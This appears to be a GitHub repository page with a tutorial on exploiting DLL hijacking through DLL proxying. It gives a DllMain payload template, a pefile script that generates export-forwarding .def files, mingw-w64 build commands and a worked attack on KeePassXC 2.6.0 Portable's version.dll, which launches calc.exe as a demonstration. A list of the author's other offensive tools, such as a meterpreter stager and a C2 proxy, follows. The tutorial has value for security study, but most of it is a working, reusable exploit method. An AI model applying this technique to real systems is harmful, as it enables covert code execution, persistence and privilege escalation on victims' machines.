• Stars
    star
    446
  • Rank 97,888 (Top 2 %)
  • Language
    C
  • Created over 4 years ago
  • Updated over 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Exploiting DLL Hijacking by DLL Proxying Super Easily

Exploiting DLL Hijacking by DLL Proxying Super Easily

TL;DR

This is a tutorial about exploiting DLL Hijack vulnerability without crashing the application. The method used is called DLL Proxying.

There are various Visual Studio projects for Windows about this, but here is how to build and cross-compile the Proxy DLL with mingw-w64 super easily on Linux.

Introduction

DLL Hijacking in a nutshell: there is a search order (of predefined paths) for an application to look for required DLLs, and if it is possible to put a malicious DLL with the same name in the search path before the legitimate target DLL, then it is possible to hijack the execution flow by the replacement exported methods of the malicious DLL.

It can be used by attackers for persistence or even privilege escalation. Under some special conditions and configurations, it can be also used for domain level privilege escalation and even for remote code execution.

There are two important requirements of the malicious replacement DLL:

  1. The malicious DLL should export the functions (at least by dummy implementations) which the application tries to import otherwise the application fails to load and malicious DLL would also not be loaded.

  2. If the malicious DLL exports the functions required by the application but does not implement them equivalently to the legitimate DLL, the application loads the DLL and probably executes the malicious code (e.g. in the DllMain() function), but afterwards the application crashes.

The solution for these two problems is DLL Proxying: create a malicious DLL which exports all of the functions of the legitimate DLL and instead of implementing them, just forward the calls to the legitimate DLL.

This way the application behaves normally without crashing and it can execute the malicious code silently in the background.

Creating the Proxy DLL

Let's assume the target DLL we want to proxy to is target_orig.dll and the proxy DLL will be target.dll. It is possible to use a basic template for target.c:

void Payload()
{
    // Malicious payload should be implemented here...
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
      Payload();
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    case DLL_PROCESS_DETACH:
      break;
    }
  return TRUE;
}

Defining the exports is possible easily during link-time by using Module-Definition (.def) files which is fortunately supported by the mingw-w64 cross-compiler toolset. In the .def file it is also possible to instruct the linker to use external references for the exported functions to the legitimate DLL file.

The required syntax for the .def file exports:

EXPORTS
  exported_name1=legitimate_dll_module.exported_name1 @ordinal1
  exported_name2=legitimate_dll_module.exported_name2 @ordinal2
  ...

In order to generate the .def file all we need is the export list of the legitimate DLL. Extracting the export list is really simple by using the Python pefile Portable Executable (PE) parser module. Here is how to do it (script is included here in the repo):

import pefile

dll = pefile.PE('target_orig.dll')

print("EXPORTS")
for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
    if export.name:
        print('{}=target_orig.{} @{}'.format(export.name.decode(), export.name.decode(), export.ordinal))

The output of this short script is the required target.def file for the mingw-w64 linker.

Now compiling and linking is trivial by using mingw-w64 cross-compiler (e.g. on Linux, targeting Windows 32-bit arch):

i686-w64-mingw32-gcc -shared -o target.dll target.c target.def -s

The resulted target.dll proxies all of the calls to the exported functions to the legitimate target_orig.dll. This way the application depending on the methods of target.dll is working normally, but it executes our Payload() function at initialization. ;)

This is not new, this is a well-known technique, but the above mingw-w64 method with the module-definition file for creating the Proxy DLL is one of the simplest.

Example

Let's take an arbitrary DLL Hijacking vulnerable app (it is easy because there are many): e.g. KeePassXC 2.6.0 Portable (32-bit).

Using Sysinternals Process Monitor it is easy to detect a potentional DLL Hijacking issue:

Here the KeePassXC.exe app tries to load the library version.dll, first from the path of the exe resulting NAME NOT FOUND then it finds the dll in the official C:\Windows\SysWOW64 folder.

Let's try to target this version.dll loading: let's put a malicious version of the dll to the exe folder.

Copy the legitimate one from C:\Windows\SysWOW64\version.dll to the Linux host as version_orig.dll.

Generating the version.def file containing the export redirections by the Python script:

gen_def.py version_orig.dll > version.def

Here is (version.c)[./version.c] adding an example Payload() launching calc.exe to the above template:

#include <processthreadsapi.h>
#include <memoryapi.h>

void Payload()
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  
  char cmd[] = "calc.exe";
  
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));

  CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
      Payload();
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    case DLL_PROCESS_DETACH:
      break;
    }
  return TRUE;
}

Cross-compiling and linking the malicious Proxy DLL using mingw-w64:

i686-w64-mingw32-gcc -shared -o version.dll version.c version.def -s

Copy the malicious version.dll proxy and the legitimate version_orig.dll to the home folder of KeePassXC:

And now launch KeePassXC.exe! The application should work well and behave normally and our payload is also excecuted (calc.exe launched). :)

More Repositories

1

rbcd-attack

Kerberos Resource-Based Constrained Delegation Attack from Outside using Impacket
Python
487
star
2

pwn-hisilicon-dvr

Python
351
star
3

ad-honeypot-autodeploy

Deploy a small, intentionally insecure, vulnerable Windows Domain for RDP Honeypot fully automatically.
Shell
251
star
4

serviceDetector

Detect whether a service is installed (blindly) and/or running (if exposing named pipes) on a remote machine without using local admin privileges.
Python
214
star
5

usbgadget-tool

Dumb USB HID gadget creator for Android (for triggering device driver install on Windows for LPE)
Shell
135
star
6

stager_libpeconv

A basic meterpreter protocol stager using the libpeconv library by hasherezade for reflective loading
C++
82
star
7

hs-dvr-telnet

open telnet port on modern HiSilicon devices
Python
51
star
8

log4shell-vulnerable-app

A Basic Java Application Vulnerable to the Log4Shell RCE
Java
38
star
9

ctfs

some example ctf writeups
HTML
27
star
10

azure-function-proxy

basic proxy as an azure function serverless app
Python
18
star
11

smtp2slack4qnap

Compact SMTP to HTTP Gateway (targeting Slack for QNAP-NAS notifications)
Python
14
star
12

kali-rpi-luks-crypt

Full disk encryption for Kali on Raspberry using LUKS
13
star
13

malicious-service

Minimal Windows Service Template for demonstrating privilege escalation via weak service executable permissions
C
12
star
14

malicious-hisilicon-scripts

Materials from my older (2018) HiSilicon research
Python
10
star
15

linkedin-auth-bypass

browse linkedin profiles without a registered account
JavaScript
10
star
16

SharpShot

Trivial .NET desktop capturing for Red Team operations
C#
6
star
17

Bundesnachrichtendienst

reversing / malware analysis recruitment challenge for German Federal Intelligence
6
star
18

gcstar-win32

standalone executable built from GCstar Perl release
6
star
19

issuu-dl

download pdf from issuu.com
Python
5
star
20

remotethermo

remotethermo.com API test
Python
4
star
21

lineageos-bullhead-build

Unofficial LineageOS builds for Google Nexus 5X "bullhead" devices
Shell
4
star
22

oauth-mitmproxy

oauth refresh_token client in mitmproxy
Python
4
star
23

nmap-http-screenshot

take screenshots of http services from an nmap xml output
Perl
3
star
24

railfence

a simple python implementation of the Rail Fence cipher (with offset support)
Python
3
star
25

sencor-bluetooth

Sample development Python scripts for reading data from the Sencor SWS 500 Outdoor Thermo/Humidity Meter Bluetooth LE device.
Python
2
star
26

riemann-nonconvex

Simulation of a totally asymmetric attractive interacting particle system
C
2
star
27

burp-Base64PostRequest

Burp Extension: Base64 decode / encode POST request data
Java
2
star
28

icinga2-plugins

customized plugins for icinga2
Shell
1
star
29

CryptoExamples

Crypto Examples for Java
Java
1
star
30

prosmart-mqtt

Minimal proSmart - MQTT Gateway
Python
1
star
31

malware-agenttesla

Brief Malware Analysis of an Agent Tesla variant
HTML
1
star
32

ringzer0team

https://ringzer0team.com
1
star
33

pyevtx-helpers

Some useful parsers for Windows EventLog (evtx) files using pyevtx
Python
1
star
34

php-mailinglist

php interface to mailing lists through web interface (e.q. ezmlm, qmailadmin)
PHP
1
star
35

azure-function-proxy-ng

Azure Function as a Reverse Proxy (e.g. for C2 ;) )
Python
1
star